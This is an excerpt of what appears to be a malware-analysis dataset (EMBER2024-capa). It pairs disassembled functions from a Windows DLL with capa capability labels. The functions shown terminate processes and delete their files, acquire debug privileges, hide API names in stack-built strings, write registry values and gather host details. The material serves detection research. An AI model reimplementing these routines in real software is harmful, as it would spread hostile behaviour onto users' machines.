joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10013530
Capabilities:
Check if file exists
Delete file
Get file attributes
Terminate process

Disassembly:
sub esp, 0x108
push ebx
mov dword [esp + 4], ecx
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0xd]
mov byte [esp + 0xc], 0
xor ebx, ebx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [esp + 0x118]
test eax, eax
jbe 0x100135f8
push ebp
mov ebp, dword [esp + 0x120]
push esi
mov eax, dword [esp + 0x11c]
mov eax, dword [ebx + eax]
push eax
push 0
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
lea ecx, [esp + 0x14]
push 0x104
mov esi, eax
push ecx
push 0
push esi
call sub.PSAPI.DLL_GetModuleFileNameExA
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor edi, edi
mov esi, 1
test ebp, ebp
je 0x100135e4
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0xc8
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x100135da
xor esi, esi
inc edi
cmp edi, 0x32
jae 0x100135e4
test esi, esi
jne 0x100135b2
mov eax, dword [esp + 0x120]
add ebx, 4
cmp ebx, eax
jb 0x1001356b
pop esi
pop ebp
push 0xc8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [esp + 8]
call fcn.100133a0
pop edi
pop ebx
add esp, 0x108
ret 0xc

Function at 0x10013620
Capabilities:
Get disk information

Disassembly:
sub esp, 0x25c
push ebx
mov ebx, dword [esp + 0x264]
push ebp
push esi
test ebx, ebx
push edi
je 0x100136e8
mov eax, dword [esp + 0x274]
test eax, eax
je 0x100136e8
lea eax, [esp + 0x78]
push eax
push 0x1f4
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
test eax, eax
je 0x100136d9
mov al, byte [esp + 0x78]
test al, al
je 0x100136d9
mov ebp, dword [sym.imp.KERNEL32.dll_lstrcmpiA]
lea esi, [esp + 0x78]
push 0x10001d4c
push esi
call ebp
test eax, eax
je 0x100136cf
push 0x10001d48
push esi
call ebp
test eax, eax
je 0x100136cf
mov cl, byte [esi]
mov dl, byte [esi + 1]
mov byte [esp + 0x10], cl
lea eax, [esp + 0x14]
push 0x64
lea ecx, [esp + 0x14]
push eax
push ecx
mov byte [esp + 0x1d], dl
mov byte [esp + 0x1e], 0
call dword [sym.imp.KERNEL32.dll_QueryDosDeviceA]
test eax, eax
je 0x100136e8
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov edi, eax
lea eax, [esp + 0x14]
push edi
push eax
push ebx
call dword [sym.imp.MSVCRT.dll__mbsnbicmp]
add esp, 0xc
test eax, eax
je 0x100136f5
mov al, byte [esi + 4]
add esi, 4
test al, al
jne 0x1001366e
mov edx, dword [esp + 0x274]
push ebx
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x25c
ret
mov esi, dword [esp + 0x274]
lea ecx, [esp + 0x10]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
add edi, ebx
push edi
push esi
call dword [sym.imp.KERNEL32.dll_lstrcatA]
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x25c
ret
Function at 0x10013730
Capabilities:
Acquire debug privileges
Enumerate process modules
Enumerate processes
Get process image filename

Disassembly:
sub esp, 0x33c
push esi
push edi
xor esi, esi
mov ecx, 0x49
xor eax, eax
lea edi, [esp + 0x18]
mov dword [esp + 0x14], esi
mov byte [esp + 0x13c], al
rep stosd dword es:[edi], eax
mov ecx, 0x40
lea edi, [esp + 0x13d]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x241]
mov byte [esp + 0x240], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 1
push 0x10001c80
mov dword [esp + 0x10], esi
stosb byte es:[edi], al
call fcn.10013940
add esp, 8
push esi
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov edi, eax
cmp edi, 0xffffffff
mov dword [esp + 0xc], edi
jne 0x100137af
pop edi
xor eax, eax
pop esi
add esp, 0x33c
ret
push ebx
push ebp
push 0x400
push 0x40
mov dword [esp + 0x24], 0x128
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov ebp, eax
lea eax, [esp + 0x1c]
push eax
push edi
mov byte [ebp], 0x83
mov ebx, 1
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x10013911
mov ecx, dword [esp + 0x24]
push ecx
push 0
push 0x410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
mov eax, dword [esp + 0x24]
test eax, eax
je 0x100138fe
cmp eax, 4
je 0x100138fe
cmp eax, 8
je 0x100138fe
lea edx, [esp + 0x18]
lea eax, [esp + 0x10]
push edx
push 4
push eax
push esi
call sub.PSAPI.DLL_EnumProcessModules
lea ecx, [esp + 0x248]
push 0x104
push ecx
push esi
call sub.PSAPI.DLL_GetProcessImageFileNameA
lea edx, [esp + 0x144]
lea eax, [esp + 0x248]
push edx
push eax
call fcn.10013620
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenA]
add esp, 8
lea ecx, [esp + 0x40]
push ecx
call edi
lea edx, [esp + 0x144]
mov esi, eax
push edx
call edi
lea esi, [esi + eax + 6]
push ebp
add esi, ebx
call dword [sym.imp.KERNEL32.dll_LocalSize]
cmp eax, esi
jae 0x10013889
push 0x42
push esi
push ebp
call dword [sym.imp.KERNEL32.dll_LocalReAlloc]
mov ebp, eax
mov eax, dword [esp + 0x24]
lea ecx, [esp + 0x40]
mov dword [ebx + ebp], eax
push ecx
add ebx, 4
call edi
mov ecx, eax
lea esi, [esp + 0x40]
inc ecx
lea edi, [ebx + ebp]
mov edx, ecx
lea eax, [esp + 0x40]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
push eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenA]
call esi
lea ecx, [esp + 0x144]
lea ebx, [ebx + eax + 1]
push ecx
call esi
mov ecx, eax
lea esi, [esp + 0x144]
inc ecx
lea edi, [ebx + ebp]
mov edx, ecx
lea eax, [esp + 0x144]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
push eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov edi, dword [esp + 0x14]
lea ebx, [ebx + eax + 1]
lea ecx, [esp + 0x1c]
push ecx
push edi
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x100137e4
push 0x42
push ebx
push ebp
call dword [sym.imp.KERNEL32.dll_LocalReAlloc]
push 0
push 0x10001c80
mov esi, eax
call fcn.10013940
add esp, 8
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop ebp
pop ebx
mov eax, esi
pop edi
pop esi
add esp, 0x33c
ret
Function at 0x10013b80
Capabilities:
Contain obfuscated stackstrings
Create thread

Disassembly:
sub esp, 0x30
mov cl, 0x6c
mov al, 0x65
mov byte [esp + 0x15], cl
mov byte [esp + 0x1a], cl
mov byte [esp + 0x1b], cl
mov cl, 0x74
mov byte [esp + 0x11], al
mov byte [esp + 0x14], al
mov byte [esp + 2], al
mov byte [esp + 5], al
mov byte [esp + 8], al
mov byte [esp + 4], cl
mov byte [esp + 0xa], cl
lea eax, [esp]
push esi
lea ecx, [esp + 0x14]
mov dl, 0x6e
push eax
push ecx
mov byte [esp + 0x1c], 0x6b
mov byte [esp + 0x1e], 0x72
mov byte [esp + 0x1f], dl
mov byte [esp + 0x22], 0x33
mov byte [esp + 0x23], 0x32
mov byte [esp + 0x24], 0x2e
mov byte [esp + 0x25], 0x64
mov byte [esp + 0x28], 0
mov byte [esp + 0xc], 0x43
mov byte [esp + 0xd], 0x72
mov byte [esp + 0xf], 0x61
mov byte [esp + 0x12], 0x45
mov byte [esp + 0x13], 0x76
mov byte [esp + 0x15], dl
mov byte [esp + 0x17], 0x41
mov byte [esp + 0x18], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edx, dword [esp + 0x40]
mov ecx, dword [esp + 0x44]
push 0
mov dword [esp + 0x28], edx
mov dl, byte [esp + 0x54]
push 0
push 0
push 0
mov dword [esp + 0x38], ecx
mov byte [esp + 0x3c], dl
call eax
mov ecx, dword [esp + 0x48]
mov dword [esp + 0x30], eax
mov eax, dword [esp + 0x4c]
lea edx, [esp + 0x24]
push eax
mov eax, dword [esp + 0x40]
push ecx
mov ecx, dword [esp + 0x40]
push edx
push 0x10013b00
push eax
push ecx
call dword [sym.imp.MSVCRT.dll__beginthreadex]
mov edx, dword [esp + 0x48]
add esp, 0x18
mov esi, eax
push 0xffffffffffffffff
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [esp + 0x30]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop esi
add esp, 0x30
ret

Function at 0x10013dd0
Capabilities:
Enumerate processes

Disassembly:
push ebx
push ebp
push esi
push edi
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
push 0x128
mov ebx, eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov esi, eax
push esi
push ebx
mov dword [esi], 0x128
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x10013e3f
mov ebp, dword [esp + 0x14]
lea edi, [esi + 0x24]
push ebp
push edi
call dword [sym.imp.MSVCRT.dll__strcmpi]
add esp, 8
test eax, eax
jne 0x10013e1d
mov eax, dword [esi + 8]
pop edi
pop esi
pop ebp
pop ebx
ret
push esi
push ebx
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x10013e3f
push ebp
push edi
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x10013e15
push esi
push ebx
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x10013e28
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret
Function at 0x10013e50
Capabilities:
Get session information
Get session user name

Disassembly:
sub esp, 8
lea ecx, [esp + 4]
lea edx, [esp]
push ecx
push edx
xor eax, eax
push 5
push 0xffffffffffffffff
push eax
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], eax
call sub.WTSAPI32.dll_WTSQuerySessionInformationA
test eax, eax
je 0x10013ea2
push esi
push 0x100
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov esi, eax
mov eax, dword [esp + 4]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov ecx, dword [esp + 4]
push ecx
call sub.WTSAPI32.dll_WTSFreeMemory
mov eax, esi
pop esi
add esp, 8
ret
xor eax, eax
add esp, 8
ret

Function at 0x10014030
Capabilities:
Check os version

Disassembly:
sub esp, 0x9c
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetVersionExA]
push edi
mov ecx, 0x27
xor eax, eax
lea edi, [esp + 8]
rep stosd dword es:[edi], eax
lea eax, [esp + 8]
mov dword [esp + 8], 0x9c
push eax
call esi
test eax, eax
jne 0x1001407a
lea ecx, [esp + 8]
mov dword [esp + 8], 0x94
push ecx
call esi
test eax, eax
jne 0x1001407a
pop edi
pop esi
add esp, 0x9c
ret
cmp dword [esp + 0xc], 5
jne 0x10014097
mov eax, dword [esp + 0x10]
test eax, eax
jne 0x10014097
call fcn.10013eb0
pop edi
pop esi
add esp, 0x9c
ret
call fcn.10013e50
pop edi
pop esi
add esp, 0x9c
ret
Function at 0x10014400
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x20
push ebx
push ebp
push esi
mov esi, ecx
mov cl, 0x6c
mov al, 0x65
mov byte [esp + 0x21], cl
mov byte [esp + 0x26], cl
mov byte [esp + 0x27], cl
mov cl, 0x74
mov byte [esp + 0x1d], al
mov byte [esp + 0x20], al
mov byte [esp + 0xe], al
mov byte [esp + 0x11], al
mov byte [esp + 0x14], al
mov byte [esp + 0x10], cl
mov byte [esp + 0x16], cl
lea eax, [esp + 0xc]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea ecx, [esp + 0x20]
mov bl, 0x72
mov dl, 0x6e
push eax
push ecx
mov dword [esi], 0x10003e44
mov byte [esp + 0x28], 0x6b
mov byte [esp + 0x2a], bl
mov byte [esp + 0x2b], dl
mov byte [esp + 0x2e], 0x33
mov byte [esp + 0x2f], 0x32
mov byte [esp + 0x30], 0x2e
mov byte [esp + 0x31], 0x64
mov byte [esp + 0x34], 0
mov byte [esp + 0x18], 0x43
mov byte [esp + 0x19], bl
mov byte [esp + 0x1b], 0x61
mov byte [esp + 0x1e], 0x45
mov byte [esp + 0x1f], 0x76
mov byte [esp + 0x21], dl
mov byte [esp + 0x23], 0x41
mov byte [esp + 0x24], 0
call edi
mov ebp, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebp
push 0x10001a04
mov ebx, eax
call edi
push 0
push 0
push 0
push 0
mov dword [0x1002067c], eax
call ebx
xor ebx, ebx
mov dword [esi + 4], eax
mov dword [esi + 8], ebx
mov dword [esi + 0xc], ebx
call fcn.10014650
test al, al
je 0x10014551
mov al, byte [0x10020678]
test al, al
jne 0x10014551
mov edx, dword [0x1002067c]
push 0x10001de0
push edx
call ebp
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push 0x80000000
push 0x1001f740
push 0x10001dd8
push ebx
call eax
mov ebx, dword [sym.imp.MSVCRT.dll_putchar]
push 0x30
mov dword [esi + 0x10], eax
call ebx
add esp, 4
push 0x10001dc8
call edi
mov edi, eax
push 0x10001db0
push edi
call ebp
mov ecx, dword [esi + 0x10]
push 0
push ecx
push 0
push 0
push 0
push 0
push 0x50000000
push 0x10001da4
call eax
push 0x30
mov dword [esi + 0x14], eax
call ebx
add esp, 4
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x20
ret
Function at 0x10015150
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x38
mov al, 0x74
push esi
mov byte [esp + 6], al
mov byte [esp + 9], al
mov byte [esp + 0x10], al
lea eax, [esp + 4]
mov cl, 0x65
push eax
push 0x10001398
xor esi, esi
mov byte [esp + 0xc], 0x47
mov byte [esp + 0xd], cl
mov byte [esp + 0xf], 0x4e
mov byte [esp + 0x10], 0x61
mov byte [esp + 0x12], 0x69
mov byte [esp + 0x13], 0x76
mov byte [esp + 0x14], cl
mov byte [esp + 0x15], 0x53
mov byte [esp + 0x16], 0x79
mov byte [esp + 0x17], 0x73
mov byte [esp + 0x19], cl
mov byte [esp + 0x1a], 0x6d
mov byte [esp + 0x1b], 0x49
mov byte [esp + 0x1c], 0x6e
mov byte [esp + 0x1d], 0x66
mov byte [esp + 0x1e], 0x6f
mov byte [esp + 0x1f], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x100151f5
lea ecx, [esp + 0x18]
push ecx
call eax
mov ax, word [esp + 0x18]
cmp ax, 9
je 0x100151eb
cmp ax, 6
jne 0x100151f5
mov eax, 1
pop esi
add esp, 0x38
ret
mov eax, esi
pop esi
add esp, 0x38
ret
Function at 0x10015290
Capabilities:
Get hostname
Get memory capacity
Get system information on windows

Disassembly:
sub esp, 0x2f8
push ebx
push esi
lea eax, [esp + 0x94]
push edi
xor ebx, ebx
push eax
mov byte [esp + 0x98], 0x66
mov byte [esp + 0x17a], bl
mov dword [esp + 0x9c], 0x9c
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
mov edi, dword [esp + 0x314]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x17c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov byte [esp + 0x204], bl
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0xc]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
mov dword [esp + 0x10], 0x100
rep movsb byte es:[edi], byte [esi]
mov ecx, 0x3f
lea edi, [esp + 0x205]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x18]
mov esi, 1
push ecx
push edx
push ebx
push esi
push ebx
push ebx
stosw word es:[edi], ax
push ebx
push 0x100019f8
push 0x80000001
mov dword [esp + 0x3c], esi
stosb byte es:[edi], al
call dword [fcn.10003be8]
lea eax, [esp + 0x10]
lea ecx, [esp + 0x204]
push eax
mov eax, dword [esp + 0x10]
lea edx, [esp + 0x20]
push ecx
push edx
push ebx
push 0x1001f740
push eax
mov dword [esp + 0x34], esi
call dword [fcn.10003bf8]
test eax, eax
jne 0x10015370
mov ecx, dword [esp + 0xc]
push ecx
call dword [fcn.10003bf4]
jmp 0x10015383
lea edx, [esp + 0x10]
lea eax, [esp + 0x204]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
mov ebx, dword [esp + 0x30c]
xor ecx, ecx
mov dword [esp + 0x20], ecx
lea edx, [esp + 0x14]
mov dword [esp + 0x24], ecx
lea eax, [esp + 0x20]
mov dword [esp + 0x28], ecx
push edx
mov dword [esp + 0x30], ecx
mov ecx, dword [ebx + 0xa8]
push eax
push ecx
mov dword [esp + 0x20], 0x10
call dword [fcn.10003d30]
mov edx, dword [esp + 0x24]
mov ecx, 0xc
lea esi, [esp + 0x204]
lea edi, [esp + 0x144]
mov dword [esp + 0x140], edx
lea eax, [esp + 0x70]
rep movsd dword es:[edi], dword [esi]
push eax
movsw word es:[edi], word [esi]
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov cx, word [esp + 0x84]
mov word [esp + 0x134], cx
call fcn.100150f0
lea edx, [esp + 0x30]
mov dword [esp + 0x138], eax
push edx
mov dword [esp + 0x34], 0x40
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov eax, dword [esp + 0x38]
mov edx, dword [esp + 0x3c]
mov ecx, 0x14
call fcn.1001d440
mov dword [esp + 0x13c], eax
mov eax, dword [esp + 0x310]
mov dword [esp + 0x178], eax
call fcn.10015150
mov edx, dword [esp + 0x308]
lea ecx, [esp + 0x1e0]
push 0x20
push ecx
push edx
mov dword [esp + 0x20c], eax
call fcn.10015200
add esp, 0xc
lea eax, [esp + 0x94]
mov ecx, ebx
push 0x170
push eax
call fcn.10006340
pop edi
pop esi
pop ebx
add esp, 0x2f8
ret
Function at 0x10015a50
Capabilities:
Create thread

Disassembly:
sub esp, 0x28
push esi
push edi
mov ecx, 0xa
xor eax, eax
lea edi, [esp + 8]
push 0x7f04
rep stosd dword es:[edi], eax
mov eax, dword [0x1002054c]
xor edi, edi
push eax
mov dword [esp + 0x10], 2
mov dword [esp + 0x14], 0x10015a40
mov dword [esp + 0x18], edi
mov dword [esp + 0x1c], edi
mov dword [esp + 0x20], eax
call dword [0x10003ce0]
mov dword [esp + 0x1c], eax
mov eax, dword [0x1002054c]
push 0x7f8b
push eax
call dword [fcn.10003cb8]
push 2
mov dword [esp + 0x24], eax
call dword [0x10003c10]
lea ecx, [esp + 8]
mov dword [esp + 0x24], eax
push ecx
mov dword [esp + 0x2c], 0x66
mov dword [esp + 0x30], 0x10002568
call dword [0x10003cd8]
mov eax, dword [0x1002054c]
push edi
push eax
push 0x66
push eax
call dword [0x10003cd4]
push eax
push edi
push 0x80000000
push 0x80000000
push 0x80000000
push 0x80000000
push 0xcf0000
push 0x10002554
push 0x10002568
push edi
call dword [0x10003c80]
mov esi, dword [esp + 0x38]
push 0x104
mov edx, dword [esi]
push edx
push 0x100207d8
call dword [sym.imp.MSVCRT.dll_strncpy]
mov eax, dword [esi]
push 0x104
push eax
push 0x100207d8
call dword [sym.imp.MSVCRT.dll_wcstombs]
add esp, 0x18
push 0x10015900
push 0x100207d8
call dword [0x10003b44]
push 1
push edi
push 2
mov dword [0x10020694], eax
call fcn.100158a0
push edi
push edi
push 4
call fcn.100158a0
add esp, 0x18
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push edi
push edi
push edi
push 0x10017000
push edi
push edi
call esi
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
push edi
push edi
push 0x100168b0
push edi
push edi
call esi
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [0x10002178], eax
push edi
push edi
call fcn.10015600
add esp, 8
push 0x3e8
call esi
jmp 0x10015b95

Function at 0x10015bb0
Capabilities:
Create directory

Disassembly:
sub esp, 0x104
push ebx
push esi
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0xd]
mov byte [esp + 0xc], 0
mov ebx, dword [esp + 0x114]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, ebx
or ecx, 0xffffffff
xor eax, eax
xor esi, esi
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x10015c2f
push ebp
mov ebp, dword [sym.imp.MSVCRT.dll_strncpy]
cmp byte [esi + ebx], 0x5c
jne 0x10015c1d
push esi
lea eax, [esp + 0x14]
push ebx
push eax
call ebp
lea ecx, [esp + 0x1c]
push 0
push ecx
call dword [sym.imp.MSVCRT.dll__access]
add esp, 0x14
cmp eax, 0xffffffff
jne 0x10015c1d
lea edx, [esp + 0x10]
push 0
push edx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov edi, ebx
or ecx, 0xffffffff
xor eax, eax
inc esi
repne scasb al, byte es:[edi]
not ecx
dec ecx
cmp esi, ecx
jb 0x10015bec
pop ebp
pop edi
pop esi
pop ebx
add esp, 0x104
ret
Function at 0x10015f10
Capabilities:
Delete file
Get common file path

Disassembly:
sub esp, 0x364
push ebx
push ebp
push esi
push edi
mov ecx, 8
mov esi, 0x100025f4
lea edi, [esp + 0x248]
xor eax, eax
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov ecx, 0x42
lea edi, [esp + 0x26b]
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
mov edi, 0x10002180
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x248]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x104
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
xor ebx, ebx
and ecx, 3
mov byte [esp + 0x80], bl
rep movsb byte es:[edi], byte [esi]
mov ecx, 0x40
lea edi, [esp + 0x81]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x80]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov edi, 0x100025e4
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x7c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov byte [esp + 0x7f], bl
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea eax, [esp + 0x7c]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
call esi
lea ecx, [esp + 0x7c]
lea edx, [esp + 0x248]
push ecx
push edx
call fcn.10015e30
mov ecx, 0x18
xor eax, eax
lea edi, [esp + 0x21]
mov byte [esp + 0x20], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
call dword [sym.imp.MSVCRT.dll_rand]
imul eax, eax, 0x2b67
mov ebp, dword [sym.imp.MSVCRT.dll_sprintf]
push eax
lea eax, [esp + 0x24]
push 0x100025d8
push eax
call ebp
lea ecx, [esp + 0x90]
lea edx, [esp + 0x2c]
push ecx
push edx
call fcn.10015e90
add esp, 0x1c
lea eax, [esp + 0x7c]
push eax
call esi
mov ecx, 0x31
xor eax, eax
lea edi, [esp + 0x181]
mov byte [esp + 0x180], bl
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x18]
lea edx, [esp + 0x180]
stosw word es:[edi], ax
push ecx
push 0x100025c8
push edx
stosb byte es:[edi], al
call ebp
add esp, 0xc
lea eax, [esp + 0x14]
lea ecx, [esp + 0x10]
lea edx, [esp + 0x180]
push eax
push ecx
push ebx
push 0xf003f
push ebx
push ebx
push ebx
push edx
push 0x80000002
mov dword [esp + 0x38], 1
call dword [fcn.10003be8]
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenA]
push 0x100023f4
call edi
mov ebp, dword [fcn.10003c08]
push eax
mov eax, dword [esp + 0x14]
push 0x100023f4
push 2
push ebx
push 0x100025bc
push eax
call ebp
push 0x100025b0
call edi
mov ecx, dword [esp + 0x10]
push eax
push 0x100025b0
push 1
push ebx
push 0x100025a4
push ecx
call ebp
mov edx, dword [esp + 0x10]
push edx
call dword [fcn.10003bf4]
lea eax, [esp + 0x7c]
lea ecx, [esp + 0x18]
push eax
push ecx
call fcn.10015e30
lea edx, [esp + 0x84]
lea eax, [esp + 0x250]
push edx
push eax
call fcn.10015e90
add esp, 0x10
lea ecx, [esp + 0x7c]
push ecx
call esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x364
ret
Function at 0x10016680
Capabilities:
Delete file
Get common file path

Disassembly:
call fcn.100163f0
test eax, eax
jne 0x1001668e
call fcn.10015f10
call fcn.10016550
test eax, eax
jne 0x1001669c
jmp fcn.10016130
ret